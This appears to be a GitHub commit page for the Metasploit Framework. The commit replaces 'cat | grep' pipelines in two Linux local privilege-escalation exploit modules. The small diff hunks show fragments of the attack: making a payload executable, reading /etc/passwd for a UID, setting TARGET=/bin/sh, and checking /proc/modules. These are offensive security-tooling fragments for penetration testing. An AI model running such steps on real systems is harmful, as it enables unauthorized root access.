Skip to content

Commit dbb2abe

Browse files
author
Julien (jvoisin) Voisin
committed
Remove the cat $FILE | grep $PATTERN anti-pattern
The `kloxo_lxsuexec.rb` and `netfilter_pvi_esc.rb` exploits were using the infamous `cat+grep` anti-pattern, this commit replaces it with `cat` and Ruby's `.include?` method.
1 parent cdf544b commit dbb2abe

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

modules/exploits/linux/local/kloxo_lxsuexec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@ def exploit
9393
# Profit
9494
print_status("Exploiting...")
9595
cmd_exec("chmod +x #{payload_path}")
96-
cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`")
96+
cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")
9797
cmd_exec("export MUID=$LXLABS")
9898
cmd_exec("export GID=$LXLABS")
9999
cmd_exec("export TARGET=/bin/sh")

modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -62,20 +62,20 @@ def initialize(info = {})
6262

6363
def check
6464
def iptables_loaded?()
65-
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
65+
# user@ubuntu:~$ grep ip_tables /proc/modules
6666
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
6767
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
6868
vprint_status('Checking if ip_tables is loaded in kernel')
6969
if target.name == "Ubuntu"
70-
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
70+
iptables = cmd_exec('cat /proc/modules')
7171
if iptables.include?('ip_tables')
7272
vprint_good('ip_tables.ko is loaded')
7373
else
7474
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
7575
end
7676
return iptables.include?('ip_tables')
7777
elsif target.name == "Fedora"
78-
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
78+
iptables = cmd_exec('cat /proc/modules')
7979
if iptables.include?('iptable_raw')
8080
vprint_good('iptable_raw is loaded')
8181
else

0 commit comments

Comments
 (0)